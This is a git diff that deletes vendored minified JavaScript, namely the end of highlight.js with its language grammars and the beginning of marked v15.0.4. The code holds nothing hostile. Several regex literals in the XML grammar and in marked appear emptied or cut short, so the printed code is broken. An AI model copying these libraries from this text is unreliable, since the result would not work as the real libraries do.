lope","regr_sxx","regr_sxy","regr_syy","release","result","return","returns","revoke","right","rollback","rollup","row","row_number","rows","running","savepoint","scope","scroll","search","second","seek","select","sensitive","session_user","set","show","similar","sin","sinh","skip","smallint","some","specific","specifictype","sql","sqlexception","sqlstate","sqlwarning","sqrt","start","static","stddev_pop","stddev_samp","submultiset","subset","substring","substring_regex","succeeds","sum","symmetric","system","system_time","system_user","table","tablesample","tan","tanh","then","time","timestamp","timezone_hour","timezone_minute","to","trailing","translate","translate_regex","translation","treat","trigger","trim","trim_array","true","truncate","uescape","union","unique","unknown","unnest","update","upper","user","using","value","values","value_of","var_pop","var_samp","varbinary","varchar","varying","versioning","when","whenever","where","width_bucket","window","with","within","without","year","add","asc","collation","desc","final","first","last","view"].filter((e=>!r.includes(e))),c={ -begin:n.concat(/\b/,n.either(...o),/\s*\(/),relevance:0,keywords:{built_in:o}} -;return{name:"SQL",case_insensitive:!0,illegal:/[{}]|<\//,keywords:{ -$pattern:/\b[\w\.]+/,keyword:((e,{exceptions:n,when:t}={})=>{const a=t -;return n=n||[],e.map((e=>e.match(/\|\d+$/)||n.includes(e)?e:a(e)?e+"|0":e)) -})(l,{when:e=>e.length<3}),literal:a,type:i, -built_in:["current_catalog","current_date","current_default_transform_group","current_path","current_role","current_schema","current_transform_group_for_type","current_user","session_user","system_time","system_user","current_time","localtime","current_timestamp","localtimestamp"] -},contains:[{begin:n.either(...s),relevance:0,keywords:{$pattern:/[\w\.]+/, -keyword:l.concat(s),literal:a,type:i}},{className:"type", -begin:n.either("double precision","large object","with timezone","without timezone") -},c,{className:"variable",begin:/@[a-z0-9][a-z0-9_]*/},{className:"string", -variants:[{begin:/'/,end:/'/,contains:[{begin:/''/}]}]},{begin:/"/,end:/"/, -contains:[{begin:/""/}]},e.C_NUMBER_MODE,e.C_BLOCK_COMMENT_MODE,t,{ -className:"operator",begin:/[-+*/=%^~]|&&?|\|\|?|!=?|<(?:=>?|<|>)?|>[>=]?/, -relevance:0}]}},grmr_swift:e=>{const n={match:/\s+/,relevance:0 -},t=e.COMMENT("/\\*","\\*/",{contains:["self"]}),a=[e.C_LINE_COMMENT_MODE,t],i={ -match:[/\./,m(...xe,...Me)],className:{2:"keyword"}},r={match:b(/\./,m(...Ae)), -relevance:0},s=Ae.filter((e=>"string"==typeof e)).concat(["_|0"]),o={variants:[{ -className:"keyword", -match:m(...Ae.filter((e=>"string"!=typeof e)).concat(Se).map(ke),...Me)}]},l={ -$pattern:m(/\b\w+/,/#\w+/),keyword:s.concat(Re),literal:Ce},c=[i,r,o],g=[{ -match:b(/\./,m(...De)),relevance:0},{className:"built_in", -match:b(/\b/,m(...De),/(?=\()/)}],u={match:/->/,relevance:0},p=[u,{ -className:"operator",relevance:0,variants:[{match:Be},{match:`\\.(\\.|${Le})+`}] -}],_="([0-9]_*)+",h="([0-9a-fA-F]_*)+",f={className:"number",relevance:0, -variants:[{match:`\\b(${_})(\\.(${_}))?([eE][+-]?(${_}))?\\b`},{ -match:`\\b0x(${h})(\\.(${h}))?([pP][+-]?(${_}))?\\b`},{match:/\b0o([0-7]_*)+\b/ -},{match:/\b0b([01]_*)+\b/}]},E=(e="")=>({className:"subst",variants:[{ -match:b(/\\/,e,/[0\\tnr"']/)},{match:b(/\\/,e,/u\{[0-9a-fA-F]{1,8}\}/)}] -}),y=(e="")=>({className:"subst",match:b(/\\/,e,/[\t ]*(?:[\r\n]|\r\n)/) -}),N=(e="")=>({className:"subst",label:"interpol",begin:b(/\\/,e,/\(/),end:/\)/ -}),w=(e="")=>({begin:b(e,/"""/),end:b(/"""/,e),contains:[E(e),y(e),N(e)] -}),v=(e="")=>({begin:b(e,/"/),end:b(/"/,e),contains:[E(e),N(e)]}),O={ -className:"string", -variants:[w(),w("#"),w("##"),w("###"),v(),v("#"),v("##"),v("###")] -},k=[e.BACKSLASH_ESCAPE,{begin:/\[/,end:/\]/,relevance:0, -contains:[e.BACKSLASH_ESCAPE]}],x={begin:/\/[^\s](?=[^/\n]*\/)/,end:/\//, -contains:k},M=e=>{const n=b(e,/\//),t=b(/\//,e);return{begin:n,end:t, -contains:[...k,{scope:"comment",begin:`#(?!.*${t})`,end:/$/}]}},S={ -scope:"regexp",variants:[M("###"),M("##"),M("#"),x]},A={match:b(/`/,Fe,/`/) -},C=[A,{className:"variable",match:/\$\d+/},{className:"variable", -match:`\\$${ze}+`}],T=[{match:/(@|#(un)?)available/,scope:"keyword",starts:{ -contains:[{begin:/\(/,end:/\)/,keywords:Pe,contains:[...p,f,O]}]}},{ -scope:"keyword",match:b(/@/,m(...je))},{scope:"meta",match:b(/@/,Fe)}],R={ -match:d(/\b[A-Z]/),relevance:0,contains:[{className:"type", -match:b(/(AV|CA|CF|CG|CI|CL|CM|CN|CT|MK|MP|MTK|MTL|NS|SCN|SK|UI|WK|XC)/,ze,"+") -},{className:"type",match:Ue,relevance:0},{match:/[?!]+/,relevance:0},{ -match:/\.\.\./,relevance:0},{match:b(/\s+&\s+/,d(Ue)),relevance:0}]},D={ -begin://,keywords:l,contains:[...a,...c,...T,u,R]};R.contains.push(D) -;const I={begin:/\(/,end:/\)/,relevance:0,keywords:l,contains:["self",{ -match:b(Fe,/\s*:/),keywords:"_|0",relevance:0 -},...a,S,...c,...g,...p,f,O,...C,...T,R]},L={begin://, -keywords:"repeat each",contains:[...a,R]},B={begin:/\(/,end:/\)/,keywords:l, -contains:[{begin:m(d(b(Fe,/\s*:/)),d(b(Fe,/\s+/,Fe,/\s*:/))),end:/:/, -relevance:0,contains:[{className:"keyword",match:/\b_\b/},{className:"params", -match:Fe}]},...a,...c,...p,f,O,...T,R,I],endsParent:!0,illegal:/["']/},$={ -match:[/(func|macro)/,/\s+/,m(A.match,Fe,Be)],className:{1:"keyword", -3:"title.function"},contains:[L,B,n],illegal:[/\[/,/%/]},z={ -match:[/\b(?:subscript|init[?!]?)/,/\s*(?=[<(])/],className:{1:"keyword"}, -contains:[L,B,n],illegal:/\[|%/},F={match:[/operator/,/\s+/,Be],className:{ -1:"keyword",3:"title"}},U={begin:[/precedencegroup/,/\s+/,Ue],className:{ -1:"keyword",3:"title"},contains:[R],keywords:[...Te,...Ce],end:/}/} -;for(const e of O.variants){const n=e.contains.find((e=>"interpol"===e.label)) -;n.keywords=l;const t=[...c,...g,...p,f,O,...C];n.contains=[...t,{begin:/\(/, -end:/\)/,contains:["self",...t]}]}return{name:"Swift",keywords:l, -contains:[...a,$,z,{beginKeywords:"struct protocol class extension enum actor", -end:"\\{",excludeEnd:!0,keywords:l,contains:[e.inherit(e.TITLE_MODE,{ -className:"title.class",begin:/[A-Za-z$_][\u00C0-\u02B80-9A-Za-z$_]*/}),...c] -},F,U,{beginKeywords:"import",end:/$/,contains:[...a],relevance:0 -},S,...c,...g,...p,f,O,...C,...T,R,I]}},grmr_typescript:e=>{ -const n=Oe(e),t=_e,a=["any","void","number","boolean","string","object","never","symbol","bigint","unknown"],i={ -beginKeywords:"namespace",end:/\{/,excludeEnd:!0, -contains:[n.exports.CLASS_REFERENCE]},r={beginKeywords:"interface",end:/\{/, -excludeEnd:!0,keywords:{keyword:"interface extends",built_in:a}, -contains:[n.exports.CLASS_REFERENCE]},s={$pattern:_e, -keyword:he.concat(["type","namespace","interface","public","private","protected","implements","declare","abstract","readonly","enum","override"]), -literal:fe,built_in:ve.concat(a),"variable.language":we},o={className:"meta", -begin:"@"+t},l=(e,n,t)=>{const a=e.contains.findIndex((e=>e.label===n)) -;if(-1===a)throw Error("can not find mode to replace");e.contains.splice(a,1,t)} -;return Object.assign(n.keywords,s), -n.exports.PARAMS_CONTAINS.push(o),n.contains=n.contains.concat([o,i,r]), -l(n,"shebang",e.SHEBANG()),l(n,"use_strict",{className:"meta",relevance:10, -begin:/^\s*['"]use strict['"]/ -}),n.contains.find((e=>"func.def"===e.label)).relevance=0,Object.assign(n,{ -name:"TypeScript",aliases:["ts","tsx","mts","cts"]}),n},grmr_vbnet:e=>{ -const n=e.regex,t=/\d{1,2}\/\d{1,2}\/\d{4}/,a=/\d{4}-\d{1,2}-\d{1,2}/,i=/(\d|1[012])(:\d+){0,2} *(AM|PM)/,r=/\d{1,2}(:\d{1,2}){1,2}/,s={ -className:"literal",variants:[{begin:n.concat(/# */,n.either(a,t),/ *#/)},{ -begin:n.concat(/# */,r,/ *#/)},{begin:n.concat(/# */,i,/ *#/)},{ -begin:n.concat(/# */,n.either(a,t),/ +/,n.either(i,r),/ *#/)}] -},o=e.COMMENT(/'''/,/$/,{contains:[{className:"doctag",begin:/<\/?/,end:/>/}] -}),l=e.COMMENT(null,/$/,{variants:[{begin:/'/},{begin:/([\t ]|^)REM(?=\s)/}]}) -;return{name:"Visual Basic .NET",aliases:["vb"],case_insensitive:!0, -classNameAliases:{label:"symbol"},keywords:{ -keyword:"addhandler alias aggregate ansi as async assembly auto binary by byref byval call case catch class compare const continue custom declare default delegate dim distinct do each equals else elseif end enum erase error event exit explicit finally for friend from function get global goto group handles if implements imports in inherits interface into iterator join key let lib loop me mid module mustinherit mustoverride mybase myclass namespace narrowing new next notinheritable notoverridable of off on operator option optional order overloads overridable overrides paramarray partial preserve private property protected public raiseevent readonly redim removehandler resume return select set shadows shared skip static step stop structure strict sub synclock take text then throw to try unicode until using when where while widening with withevents writeonly yield", -built_in:"addressof and andalso await directcast gettype getxmlnamespace is isfalse isnot istrue like mod nameof new not or orelse trycast typeof xor cbool cbyte cchar cdate cdbl cdec cint clng cobj csbyte cshort csng cstr cuint culng cushort", -type:"boolean byte char date decimal double integer long object sbyte short single string uinteger ulong ushort", -literal:"true false nothing"}, -illegal:"//|\\{|\\}|endif|gosub|variant|wend|^\\$ ",contains:[{ -className:"string",begin:/"(""|[^/n])"C\b/},{className:"string",begin:/"/, -end:/"/,illegal:/\n/,contains:[{begin:/""/}]},s,{className:"number",relevance:0, -variants:[{begin:/\b\d[\d_]*((\.[\d_]+(E[+-]?[\d_]+)?)|(E[+-]?[\d_]+))[RFD@!#]?/ -},{begin:/\b\d[\d_]*((U?[SIL])|[%&])?/},{begin:/&H[\dA-F_]+((U?[SIL])|[%&])?/},{ -begin:/&O[0-7_]+((U?[SIL])|[%&])?/},{begin:/&B[01_]+((U?[SIL])|[%&])?/}]},{ -className:"label",begin:/^\w+:/},o,l,{className:"meta", -begin:/[\t ]*#(const|disable|else|elseif|enable|end|externalsource|if|region)\b/, -end:/$/,keywords:{ -keyword:"const disable else elseif enable end externalsource if region then"}, -contains:[l]}]}},grmr_wasm:e=>{e.regex;const n=e.COMMENT(/\(;/,/;\)/) -;return n.contains.push("self"),{name:"WebAssembly",keywords:{$pattern:/[\w.]+/, -keyword:["anyfunc","block","br","br_if","br_table","call","call_indirect","data","drop","elem","else","end","export","func","global.get","global.set","local.get","local.set","local.tee","get_global","get_local","global","if","import","local","loop","memory","memory.grow","memory.size","module","mut","nop","offset","param","result","return","select","set_global","set_local","start","table","tee_local","then","type","unreachable"] -},contains:[e.COMMENT(/;;/,/$/),n,{match:[/(?:offset|align)/,/\s*/,/=/], -className:{1:"keyword",3:"operator"}},{className:"variable",begin:/\$[\w_]+/},{ -match:/(\((?!;)|\))+/,className:"punctuation",relevance:0},{ -begin:[/(?:func|call|call_indirect)/,/\s+/,/\$[^\s)]+/],className:{1:"keyword", -3:"title.function"}},e.QUOTE_STRING_MODE,{match:/(i32|i64|f32|f64)(?!\.)/, -className:"type"},{className:"keyword", -match:/\b(f32|f64|i32|i64)(?:\.(?:abs|add|and|ceil|clz|const|convert_[su]\/i(?:32|64)|copysign|ctz|demote\/f64|div(?:_[su])?|eqz?|extend_[su]\/i32|floor|ge(?:_[su])?|gt(?:_[su])?|le(?:_[su])?|load(?:(?:8|16|32)_[su])?|lt(?:_[su])?|max|min|mul|nearest|neg?|or|popcnt|promote\/f32|reinterpret\/[fi](?:32|64)|rem_[su]|rot[lr]|shl|shr_[su]|store(?:8|16|32)?|sqrt|sub|trunc(?:_[su]\/f(?:32|64))?|wrap\/i64|xor))\b/ -},{className:"number",relevance:0, -match:/[+-]?\b(?:\d(?:_?\d)*(?:\.\d(?:_?\d)*)?(?:[eE][+-]?\d(?:_?\d)*)?|0x[\da-fA-F](?:_?[\da-fA-F])*(?:\.[\da-fA-F](?:_?[\da-fA-D])*)?(?:[pP][+-]?\d(?:_?\d)*)?)\b|\binf\b|\bnan(?::0x[\da-fA-F](?:_?[\da-fA-D])*)?\b/ -}]}},grmr_xml:e=>{ -const n=e.regex,t=n.concat(/[\p{L}_]/u,n.optional(/[\p{L}0-9_.-]*:/u),/[\p{L}0-9_.-]*/u),a={ -className:"symbol",begin:/&[a-z]+;|&#[0-9]+;|&#x[a-f0-9]+;/},i={begin:/\s/, -contains:[{className:"keyword",begin:/#?[a-z_][a-z1-9_-]+/,illegal:/\n/}] -},r=e.inherit(i,{begin:/\(/,end:/\)/}),s=e.inherit(e.APOS_STRING_MODE,{ -className:"string"}),o=e.inherit(e.QUOTE_STRING_MODE,{className:"string"}),l={ -endsWithParent:!0,illegal:/`]+/}]}]}]};return{ -name:"HTML, XML", -aliases:["html","xhtml","rss","atom","xjb","xsd","xsl","plist","wsf","svg"], -case_insensitive:!0,unicodeRegex:!0,contains:[{className:"meta",begin://,relevance:10,contains:[i,o,s,r,{begin:/\[/,end:/\]/,contains:[{ -className:"meta",begin://,contains:[i,r,o,s]}]}] -},e.COMMENT(//,{relevance:10}),{begin://, -relevance:10},a,{className:"meta",end:/\?>/,variants:[{begin:/<\?xml/, -relevance:10,contains:[o]},{begin:/<\?[a-z][a-z0-9]+/}]},{className:"tag", -begin:/)/,end:/>/,keywords:{name:"style"},contains:[l],starts:{ -end:/<\/style>/,returnEnd:!0,subLanguage:["css","xml"]}},{className:"tag", -begin:/)/,end:/>/,keywords:{name:"script"},contains:[l],starts:{ -end:/<\/script>/,returnEnd:!0,subLanguage:["javascript","handlebars","xml"]}},{ -className:"tag",begin:/<>|<\/>/},{className:"tag", -begin:n.concat(//,/>/,/\s/)))), -end:/\/?>/,contains:[{className:"name",begin:t,relevance:0,starts:l}]},{ -className:"tag",begin:n.concat(/<\//,n.lookahead(n.concat(t,/>/))),contains:[{ -className:"name",begin:t,relevance:0},{begin:/>/,relevance:0,endsParent:!0}]}]} -},grmr_yaml:e=>{ -const n="true false yes no null",t="[\\w#;/?:@&=+$,.~*'()[\\]]+",a={ -className:"string",relevance:0,variants:[{begin:/'/,end:/'/},{begin:/"/,end:/"/ -},{begin:/\S+/}],contains:[e.BACKSLASH_ESCAPE,{className:"template-variable", -variants:[{begin:/\{\{/,end:/\}\}/},{begin:/%\{/,end:/\}/}]}]},i=e.inherit(a,{ -variants:[{begin:/'/,end:/'/},{begin:/"/,end:/"/},{begin:/[^\s,{}[\]]+/}]}),r={ -end:",",endsWithParent:!0,excludeEnd:!0,keywords:n,relevance:0},s={begin:/\{/, -end:/\}/,contains:[r],illegal:"\\n",relevance:0},o={begin:"\\[",end:"\\]", -contains:[r],illegal:"\\n",relevance:0},l=[{className:"attr",variants:[{ -begin:"\\w[\\w :\\/.-]*:(?=[ \t]|$)"},{begin:'"\\w[\\w :\\/.-]*":(?=[ \t]|$)'},{ -begin:"'\\w[\\w :\\/.-]*':(?=[ \t]|$)"}]},{className:"meta",begin:"^---\\s*$", -relevance:10},{className:"string", -begin:"[\\|>]([1-9]?[+-])?[ ]*\\n( +)[^ ][^\\n]*\\n(\\2[^\\n]+\\n?)*"},{ -begin:"<%[%=-]?",end:"[%-]?%>",subLanguage:"ruby",excludeBegin:!0,excludeEnd:!0, -relevance:0},{className:"type",begin:"!\\w+!"+t},{className:"type", -begin:"!<"+t+">"},{className:"type",begin:"!"+t},{className:"type",begin:"!!"+t -},{className:"meta",begin:"&"+e.UNDERSCORE_IDENT_RE+"$"},{className:"meta", -begin:"\\*"+e.UNDERSCORE_IDENT_RE+"$"},{className:"bullet",begin:"-(?=[ ]|$)", -relevance:0},e.HASH_COMMENT_MODE,{beginKeywords:n,keywords:{literal:n}},{ -className:"number", -begin:"\\b[0-9]{4}(-[0-9][0-9]){0,2}([Tt \\t][0-9][0-9]?(:[0-9][0-9]){2})?(\\.[0-9]*)?([ \\t])*(Z|[-+][0-9][0-9]?(:[0-9][0-9])?)?\\b" -},{className:"number",begin:e.C_NUMBER_RE+"\\b",relevance:0},s,o,a],c=[...l] -;return c.pop(),c.push(i),r.contains=c,{name:"YAML",case_insensitive:!0, -aliases:["yml"],contains:l}}});const He=ae;for(const e of Object.keys(Ke)){ -const n=e.replace("grmr_","").replace("_","-");He.registerLanguage(n,Ke[e])} -return He}() -;"object"==typeof exports&&"undefined"!=typeof module&&(module.exports=hljs); \ No newline at end of file diff --git a/packages/pi-coding-agent/src/core/export-html/vendor/marked.min.js b/packages/pi-coding-agent/src/core/export-html/vendor/marked.min.js deleted file mode 100644 index 79394fd8f..000000000 --- a/packages/pi-coding-agent/src/core/export-html/vendor/marked.min.js +++ /dev/null @@ -1,6 +0,0 @@ -/** - * marked v15.0.4 - a markdown parser - * Copyright (c) 2011-2024, Christopher Jeffrey. (MIT Licensed) - * https://github.com/markedjs/marked - */ -!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((e="undefined"!=typeof globalThis?globalThis:e||self).marked={})}(this,(function(e){"use strict";function t(){return{async:!1,breaks:!1,extensions:null,gfm:!0,hooks:null,pedantic:!1,renderer:null,silent:!1,tokenizer:null,walkTokens:null}}function n(t){e.defaults=t}e.defaults={async:!1,breaks:!1,extensions:null,gfm:!0,hooks:null,pedantic:!1,renderer:null,silent:!1,tokenizer:null,walkTokens:null};const s={exec:()=>null};function r(e,t=""){let n="string"==typeof e?e:e.source;const s={replace:(e,t)=>{let r="string"==typeof t?t:t.source;return r=r.replace(i.caret,"$1"),n=n.replace(e,r),s},getRegex:()=>new RegExp(n,t)};return s}const i={codeRemoveIndent:/^(?: {1,4}| {0,3}\t)/gm,outputLinkReplace:/\\([\[\]])/g,indentCodeCompensation:/^(\s+)(?:```)/,beginningSpace:/^\s+/,endingHash:/#$/,startingSpaceChar:/^ /,endingSpaceChar:/ $/,nonSpaceChar:/[^ ]/,newLineCharGlobal:/\n/g,tabCharGlobal:/\t/g,multipleSpaceGlobal:/\s+/g,blankLine:/^[ \t]*$/,doubleBlankLine:/\n[ \t]*\n[ \t]*$/,blockquoteStart:/^ {0,3}>/,blockquoteSetextReplace:/\n {0,3}((?:=+|-+) *)(?=\n|$)/g,blockquoteSetextReplace2:/^ {0,3}>[ \t]?/gm,listReplaceTabs:/^\t+/,listReplaceNesting:/^ {1,4}(?=( {4})*[^ ])/g,listIsTask:/^\[[ xX]\] /,listReplaceTask:/^\[[ xX]\] +/,anyLine:/\n.*\n/,hrefBrackets:/^<(.*)>$/,tableDelimiter:/[:|]/,tableAlignChars:/^\||\| *$/g,tableRowBlankLine:/\n[ \t]*$/,tableAlignRight:/^ *-+: *$/,tableAlignCenter:/^ *:-+: *$/,tableAlignLeft:/^ *:-+ *$/,startATag:/^
/i,startPreScriptTag:/^<(pre|code|kbd|script)(\s|>)/i,endPreScriptTag:/^<\/(pre|code|kbd|script)(\s|>)/i,startAngleBracket:/^$/,pedanticHrefTitle:/^([^'"]*[^\s])\s+(['"])(.*)\2/,unicodeAlphaNumeric:/[\p{L}\p{N}]/u,escapeTest:/[&<>"']/,escapeReplace:/[&<>"']/g,escapeTestNoEncode:/[<>"']|&(?!(#\d{1,7}|#[Xx][a-fA-F0-9]{1,6}|\w+);)/,escapeReplaceNoEncode:/[<>"']|&(?!(#\d{1,7}|#[Xx][a-fA-F0-9]{1,6}|\w+);)/g,unescapeTest:/&(#(?:\d+)|(?:#x[0-9A-Fa-f]+)|(?:\w+));?/gi,caret:/(^|[^\[])\^/g,percentDecode:/%25/g,findPipe:/\|/g,splitPipe:/ \|/,slashPipe:/\\\|/g,carriageReturn:/\r\n|\r/g,spaceLine:/^ +$/gm,notSpaceStart:/^\S*/,endingNewline:/\n$/,listItemRegex:e=>new RegExp(`^( {0,3}${e})((?:[\t ][^\\n]*)?(?:\\n|$))`),nextBulletRegex:e=>new RegExp(`^ {0,${Math.min(3,e-1)}}(?:[*+-]|\\d{1,9}[.)])((?:[ \t][^\\n]*)?(?:\\n|$))`),hrRegex:e=>new RegExp(`^ {0,${Math.min(3,e-1)}}((?:- *){3,}|(?:_ *){3,}|(?:\\* *){3,})(?:\\n+|$)`),fencesBeginRegex:e=>new RegExp(`^ {0,${Math.min(3,e-1)}}(?:\`\`\`|~~~)`),headingBeginRegex:e=>new RegExp(`^ {0,${Math.min(3,e-1)}}#`),htmlBeginRegex:e=>new RegExp(`^ {0,${Math.min(3,e-1)}}<(?:[a-z].*>|!--)`,"i")},l=/^ {0,3}((?:-[\t ]*){3,}|(?:_[ \t]*){3,}|(?:\*[ \t]*){3,})(?:\n+|$)/,o=/(?:[*+-]|\d{1,9}[.)])/,a=r(/^(?!bull |blockCode|fences|blockquote|heading|html)((?:.|\n(?!\s*?\n|bull |blockCode|fences|blockquote|heading|html))+?)\n {0,3}(=+|-+) *(?:\n+|$)/).replace(/bull/g,o).replace(/blockCode/g,/(?: {4}| {0,3}\t)/).replace(/fences/g,/ {0,3}(?:`{3,}|~{3,})/).replace(/blockquote/g,/ {0,3}>/).replace(/heading/g,/ {0,3}#{1,6}/).replace(/html/g,/ {0,3}<[^\n>]+>\n/).getRegex(),c=/^([^\n]+(?:\n(?!hr|heading|lheading|blockquote|fences|list|html|table| +\n)[^\n]+)*)/,h=/(?!\s*\])(?:\\.|[^\[\]\\])+/,p=r(/^ {0,3}\[(label)\]: *(?:\n[ \t]*)?([^<\s][^\s]*|<.*?>)(?:(?: +(?:\n[ \t]*)?| *\n[ \t]*)(title))? *(?:\n+|$)/).replace("label",h).replace("title",/(?:"(?:\\"?|[^"\\])*"|'[^'\n]*(?:\n[^'\n]+)*\n?'|\([^()]*\))/).getRegex(),u=r(/^( {0,3}bull)([ \t][^\n]+?)?(?:\n|$)/).replace(/bull/g,o).getRegex(),g="address|article|aside|base|basefont|blockquote|body|caption|center|col|colgroup|dd|details|dialog|dir|div|dl|dt|fieldset|figcaption|figure|footer|form|frame|frameset|h[1-6]|head|header|hr|html|iframe|legend|li|link|main|menu|menuitem|meta|nav|noframes|ol|optgroup|option|p|param|search|section|summary|table|tbody|td|tfoot|th|thead|title|tr|track|ul",k=/|$))/,f=r("^ {0,3}(?:<(script|pre|style|textarea)[\\s>][\\s\\S]*?(?:[^\\n]*\\n+|$)|comment[^\\n]*(\\n+|$)|<\\?[\\s\\S]*?(?:\\?>\\n*|$)|\\n*|$)|\\n*|$)|)[\\s\\S]*?(?:(?:\\n[ \t]*)+\\n|$)|<(?!script|pre|style|textarea)([a-z][\\w-]*)(?:attribute)*? */?>(?=[ \\t]*(?:\\n|$))[\\s\\S]*?(?:(?:\\n[ \t]*)+\\n|$)|(?=[ \\t]*(?:\\n|$))[\\s\\S]*?(?:(?:\\n[ \t]*)+\\n|$))","i").replace("comment",k).replace("tag",g).replace("attribute",/ +[a-zA-Z:_][\w.:-]*(?: *= *"[^"\n]*"| *= *'[^'\n]*'| *= *[^\s"'=<>`]+)?/).getRegex(),d=r(c).replace("hr",l).replace("heading"," {0,3}#{1,6}(?:\\s|$)").replace("|lheading","").replace("|table","").replace("blockquote"," {0,3}>").replace("fences"," {0,3}(?:`{3,}(?=[^`\\n]*\\n)|~{3,})[^\\n]*\\n").replace("list"," {0,3}(?:[*+-]|1[.)]) ").replace("html",")|<(?:script|pre|style|textarea|!--)").replace("tag",g).getRegex(),x={blockquote:r(/^( {0,3}> ?(paragraph|[^\n]*)(?:\n|$))+/).replace("paragraph",d).getRegex(),code:/^((?: {4}| {0,3}\t)[^\n]+(?:\n(?:[ \t]*(?:\n|$))*)?)+/,def:p,fences:/^ {0,3}(`{3,}(?=[^`\n]*(?:\n|$))|~{3,})([^\n]*)(?:\n|$)(?:|([\s\S]*?)(?:\n|$))(?: {0,3}\1[~`]* *(?=\n|$)|$)/,heading:/^ {0,3}(#{1,6})(?=\s|$)(.*)(?:\n+|$)/,hr:l,html:f,lheading:a,list:u,newline:/^(?:[ \t]*(?:\n|$))+/,paragraph:d,table:s,text:/^[^\n]+/},b=r("^ *([^\\n ].*)\\n {0,3}((?:\\| *)?:?-+:? *(?:\\| *:?-+:? *)*(?:\\| *)?)(?:\\n((?:(?! *\\n|hr|heading|blockquote|code|fences|list|html).*(?:\\n|$))*)\\n*|$)").replace("hr",l).replace("heading"," {0,3}#{1,6}(?:\\s|$)").replace("blockquote"," {0,3}>").replace("code","(?: {4}| {0,3}\t)[^\\n]").replace("fences"," {0,3}(?:`{3,}(?=[^`\\n]*\\n)|~{3,})[^\\n]*\\n").replace("list"," {0,3}(?:[*+-]|1[.)]) ").replace("html",")|<(?:script|pre|style|textarea|!--)").replace("tag",g).getRegex(),w={...x,table:b,paragraph:r(c).replace("hr",l).replace("heading"," {0,3}#{1,6}(?:\\s|$)").replace("|lheading","").replace("table",b).replace("blockquote"," {0,3}>").replace("fences"," {0,3}(?:`{3,}(?=[^`\\n]*\\n)|~{3,})[^\\n]*\\n").replace("list"," {0,3}(?:[*+-]|1[.)]) ").replace("html",")|<(?:script|pre|style|textarea|!--)").replace("tag",g).getRegex()},m={...x,html:r("^ *(?:comment *(?:\\n|\\s*$)|<(tag)[\\s\\S]+? *(?:\\n{2,}|\\s*$)|\\s]*)*?/?> *(?:\\n{2,}|\\s*$))").replace("comment",k).replace(/tag/g,"(?!(?:a|em|strong|small|s|cite|q|dfn|abbr|data|time|code|var|samp|kbd|sub|sup|i|b|u|mark|ruby|rt|rp|bdi|bdo|span|br|wbr|ins|del|img)\\b)\\w+(?!:|[^\\w\\s@]*@)\\b").getRegex(),def:/^ *\[([^\]]+)\]: *]+)>?(?: +(["(][^\n]+[")]))? *(?:\n+|$)/,heading:/^(#{1,6})(.*)(?:\n+|$)/,fences:s,lheading:/^(.+?)\n {0,3}(=+|-+) *(?:\n+|$)/,paragraph:r(c).replace("hr",l).replace("heading"," *#{1,6} *[^\n]").replace("lheading",a).replace("|table","").replace("blockquote"," {0,3}>").replace("|fences","").replace("|list","").replace("|html","").replace("|tag","").getRegex()},y=/^\\([!"#$%&'()*+,\-./:;<=>?@\[\]\\^_`{|}~])/,$=/^( {2,}|\\)\n(?!\s*$)/,R=/[\p{P}\p{S}]/u,S=/[\s\p{P}\p{S}]/u,T=/[^\s\p{P}\p{S}]/u,z=r(/^((?![*_])punctSpace)/,"u").replace(/punctSpace/g,S).getRegex(),A=r(/^(?:\*+(?:((?!\*)punct)|[^\s*]))|^_+(?:((?!_)punct)|([^\s_]))/,"u").replace(/punct/g,R).getRegex(),_=r("^[^_*]*?__[^_*]*?\\*[^_*]*?(?=__)|[^*]+(?=[^*])|(?!\\*)punct(\\*+)(?=[\\s]|$)|notPunctSpace(\\*+)(?!\\*)(?=punctSpace|$)|(?!\\*)punctSpace(\\*+)(?=notPunctSpace)|[\\s](\\*+)(?!\\*)(?=punct)|(?!\\*)punct(\\*+)(?!\\*)(?=punct)|notPunctSpace(\\*+)(?=notPunctSpace)","gu").replace(/notPunctSpace/g,T).replace(/punctSpace/g,S).replace(/punct/g,R).getRegex(),P=r("^[^_*]*?\\*\\*[^_*]*?_[^_*]*?(?=\\*\\*)|[^_]+(?=[^_])|(?!_)punct(_+)(?=[\\s]|$)|notPunctSpace(_+)(?!_)(?=punctSpace|$)|(?!_)punctSpace(_+)(?=notPunctSpace)|[\\s](_+)(?!_)(?=punct)|(?!_)punct(_+)(?!_)(?=punct)","gu").replace(/notPunctSpace/g,T).replace(/punctSpace/g,S).replace(/punct/g,R).getRegex(),I=r(/\\(punct)/,"gu").replace(/punct/g,R).getRegex(),L=r(/^<(scheme:[^\s\x00-\x1f<>]*|email)>/).replace("scheme",/[a-zA-Z][a-zA-Z0-9+.-]{1,31}/).replace("email",/[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+(@)[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)+(?![-_])/).getRegex(),B=r(k).replace("(?:--\x3e|$)","--\x3e").getRegex(),C=r("^comment|^|^<[a-zA-Z][\\w-]*(?:attribute)*?\\s*/?>|^<\\?[\\s\\S]*?\\?>|^|^").replace("comment",B).replace("attribute",/\s+[a-zA-Z:_][\w.:-]*(?:\s*=\s*"[^"]*"|\s*=\s*'[^']*'|\s*=\s*[^\s"'=<>`]+)?/).getRegex(),E=/(?:\[(?:\\.|[^\[\]\\])*\]|\\.|`[^`]*`|[^\[\]\\`])*?/,q=r(/^!?\[(label)\]\(\s*(href)(?:\s+(title))?\s*\)/).replace("label",E).replace("href",/<(?:\\.|[^\n<>\\])+>|[^\s\x00-\x1f]*/).replace("title",/"(?:\\"?|[^"\\])*"|'(?:\\'?|[^'\\])*'|\((?:\\\)?|[^)\\])*\)/).getRegex(),Z=r(/^!?\[(label)\]\[(ref)\]/).replace("label",E).replace("ref",h).getRegex(),v=r(/^!?\[(ref)\](?:\[\])?/).replace("ref",h).getRegex(),D={_backpedal:s,anyPunctuation:I,autolink:L,blockSkip:/\[[^[\]]*?\]\((?:\\.|[^\\\(\)]|\((?:\\.|[^\\\(\)])*\))*\)|`[^`]*?`|<[^<>]*?>/g,br:$,code:/^(`+)([^`]|[^`][\s\S]*?[^`])\1(?!`)/,del:s,emStrongLDelim:A,emStrongRDelimAst:_,emStrongRDelimUnd:P,escape:y,link:q,nolink:v,punctuation:z,reflink:Z,reflinkSearch:r("reflink|nolink(?!\\()","g").replace("reflink",Z).replace("nolink",